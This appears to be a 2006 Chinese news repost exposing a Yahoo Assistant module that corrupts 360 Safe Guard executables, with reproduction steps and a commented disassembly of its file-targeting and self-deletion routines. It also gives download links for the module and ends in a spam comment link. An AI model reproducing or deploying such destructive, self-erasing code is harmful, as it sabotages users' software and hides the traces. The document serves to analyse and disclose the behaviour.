当前位置:早雪网网络学院软件报道软件新闻 → 雅虎对360安全卫士的自杀式攻击程序-附验证录像

雅虎对360安全卫士的自杀式攻击程序-附验证录像

减小字体 增大字体 作者:未知  来源:im286  发布时间:2006-10-16 21:28:11
update:21:00,由于雅虎撤掉了patch销毁证据,好在我们在此之前做了一段验证录像,供大家下载:http://dl.360safe.com/yahoo-kill.rar


我们刚刚得到报告,雅虎助手在最新的一次更新中竟然使用了自毁式方法来攻击360安全卫士,在攻击完成后自动在系统中消失,毫无痕迹地破坏掉360安全卫士的主程序,内含多图完整测试报告.

Update:20:53,雅虎撤掉了那个Patch


1. 安装360安全卫士,保证360安全卫士是可以正常运行.

2. 下载雅虎助手的打击模块:

http://download.3721.com/download/patch34.cab
Update:20:53,雅虎撤掉了那个Patch,我们在附件中提供了此patch副本的下载


3. 从这个cab包中解压出一个patch34.dll到C盘根目录下


4. 单击windows开始菜单,点“运行”菜单项


5. 在弹出的对话框中输入“ regsvr32 c:patch34.dll”,


按回车,出现注册成功提示框:


6. 点击桌面上的360安全卫士图标,出现"360safe.exe 不是有效的 Win32 应用程序"


7. 从添加删除程序中卸载也一样:



8.此时360安全卫士的所有可执行文件均已被篡改,拷贝到另一台机器上也无法运行.

9. 刚才运行的那个打击模块,已经自我销毁了.重新运行刚才的注册命令行,系统提示:


10.查看C盘根目录下,已经没有了pathcl34.dll文件

分析:

1、这次雅虎采取的方式与以往有本质的不同,以往的方式是伪提示删除360安全卫士或是通过技术干扰让360安全卫士无法运行,但这次是直接的篡改360安全卫士的程序二进制文件,篡改完毕后自我销毁,这是赤裸裸的病毒行为.

2、此模块放在雅虎网站的公开url上,是为了便于雅虎助手找准时间偷偷下载运行(已有大量用户反映运行360安全卫士时提示不是有效的win32应用程序),雅虎助手的行为已经涉及病毒传播.

3.从此模块的名字(patch34)分析,雅虎助手在此之前,已经发布了各类偷偷摸摸功能的patch达到33个之多

Yahoo上网助手自杀式破坏360safe的程序代码分析


MJ0011原创 转载注明哦!
=================================
注意:此文为技术分析,不带任何偏向立场
由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的任何法律问题,本人一概不负责
=================================



看到刚才有朋友投递的
独家!触目惊心:记雅虎对360安全卫士的自杀式攻击程序
http://www.cnbeta.com/modules.ph ... ticle&sid=16527


我将文中那个cab文件download了下来 解压得patch34.dll(内部名称是patch33.dll,看来升级得太快,程序员连版本信息也没改就发布了)


使用反汇编工具ida 5.0,发现了一些有意思的东西,现摘录如下:
我自己加了一些注释


; Exported entry   1. DllRegisterServer
;DLL注册时要干下面的事



; HRESULT DllRegisterServer(void)
public DllRegisterServer
DllRegisterServer proc near
push    offset s_360safe ; "360safe"
;呵呵,这是要干嘛呢?
call    sub_10001477--->去调用这个子程序
pop     ecx
push    hModule         ; hModule
call    sub_10001291
push    1
pop     eax
retn
DllRegisterServer endp



下面来看push了360safe后 sub_10001477这个子程序干嘛去了



; Attributes: bp-based frame


sub_10001477 proc near


FindFileData= _WIN32_FIND_DATAA ptr -350h
pvData= dword ptr -210h
FileName= byte ptr -10Ch
pdwType= dword ptr -8
pcbData= dword ptr -4
arg_0= dword ptr  8
;此处arg_0就是刚才被push的/360safe



push ebp
mov ebp, esp
sub esp, 350h
and byte ptr [ebp+pvData], 0
push esi
push edi
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+pvData+1]
and [ebp+FileName], 0
rep stosd
stosw
stosb
push 40h
xor eax, eax
pop ecx
lea edi, [ebp-10Bh]
rep stosd
stosw
stosb
lea eax, [ebp+pcbData]
mov esi, 103h
push eax  ; pcbData
lea eax, [ebp+pvData]
push eax  ; pvData
lea eax, [ebp+pdwType]
push eax  ; pdwType
push offset pszValue ; "rogramFilesDir"


;push要取的注册表键值


push offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"


;push子键值


push 80000002h ; hkey
mov [ebp+pcbData], esi
mov [ebp+pdwType], 1
call ds:SHGetValueA


;获得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir这个注册表键的内容
;其实也就是系统程序文件夹的位置


push [ebp+arg_0]


;将获得的程序文件夹位置+arg_0(360safe)
;得到360safe安装文件夹地址



lea eax, [ebp+pvData]
push eax
push offset s_SS_exe ; "%s%s*.exe"
lea eax, [ebp+FileName]
push esi  ; size_t
push eax  ; char *
call __snprintf
and [ebp+FindFileData.dwFileAttributes], 0


;查找360安装目录下所有*.exe文件


add esp, 14h
xor eax, eax
lea edi, [ebp+FindFileData.ftCreationTime]
push 4Fh
pop ecx
rep stosd
lea eax, [ebp+FindFileData]
push eax  ; lpFindFileData
lea eax, [ebp+FileName]
push eax  ; lpFileName
call ds:FindFirstFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_10001579


;此处为查找文件的循环判断


loc_10001531:
lea eax, [ebp+FindFileData.cFileName]
push eax
lea eax, [ebp+pvData]
push [ebp+arg_0]
push eax
push offset s_SSS ; "%s%s%s"
lea eax, [ebp+FileName]
push esi  ; size_t
push eax  ; char *
call __snprintf
lea eax, [ebp+FileName]
push eax  ; char *
call sub_100013F7


;如果找到了.exe文件,那么开始对其进行破坏
;sub_10013f7这个子程序的作用是破坏给定的EXE文件
;时间关系不列出代码了
;说一下大概流程
;将push入的文件路径用r+模式打开,然后自己判断pe相关信息,最后写入破坏后的pe结构,导致exe文件无法执行,提示非可执行文件



add esp, 1Ch
lea eax, [ebp+FindFileData]
push eax  ; lpFindFileData
push edi  ; hFindFile
call ds:FindNextFileA
test eax, eax
jnz short loc_10001531
test edi, edi
jz short loc_10001580


loc_10001579:  ; hFindFile
push edi
call ds:FindClose


loc_10001580:
pop edi
pop esi
leave
retn
sub_10001477 endp



完成对360safe的可执行程序破坏后
开始执行
push    hModule         ; hModule
call    sub_10001291


在 sub_10001291中


该dll将利用rundll32.exe将自己加载为一个进程执行
并进行自毁,自毁代码如下参数为自己的dll名)



; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
sub_1000102E proc near


lpExistingFileName= dword ptr  4
arg_4= byte ptr  8


cmp [esp+arg_4], 0
jnz short loc_1000104F
push [esp+lpExistingFileName] ; lpFileName
call dseleteFileA


;;首先执行delete file
;;如果失败则跑到loc_10001047
;;成功则返回


cmp eax, 1
jnz short loc_10001047
xor eax, eax
retn


loc_10001047:
call ds:GetLastError
jmp short loc_10001052


loc_1000104F:
push 5
pop eax


loc_10001052:
cmp eax, 5
jz short loc_10001060
cmp eax, 20h
jz short loc_10001060
push 1
jmp short loc_10001079


;;使用win32下强大滴移除文件函数MoveFileExA对自己进行删除
;;不信自杀不了了我


loc_10001060:
call sub_10001000
test eax, eax
jz short loc_1000107B
push 4  ; dwFlags
push 0  ; lpNewFileName
push [esp+8+lpExistingFileName] ; lpExistingFileName
call ds:MoveFileExA
push 2


loc_10001079:
pop eax
retn


loc_1000107B:
push 0
push [esp+4+lpExistingFileName]
call sub_10001093


;;靠,还删不掉
;;我把自己写到wininit.ini里的rename里去,重启后自动删除
;;可一定要毁尸灭迹呀!



pop ecx
pop ecx
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov eax, ecx
retn
sub_1000102E endp


综上,这个dll做的事主要就是干掉360SAFE的所有可执行文件,然后自毁

呵呵,真是杀人不留痕呀


MJ0011原创 转载注明哦


Tags:雅虎,安全,卫士,自杀,攻击,程序,验证,录像
[数据载入中...] [返回上一页] [打 印]

文章评论评论内容只代表网友观点,与本站立场无关!

  评论人:Vladimir   打分:85 分  发表时间:2007-5-25 13:04:54
· http://8c9ebc9c4dcd93d944e902313c09f838-t.phwofs.info<ahref=...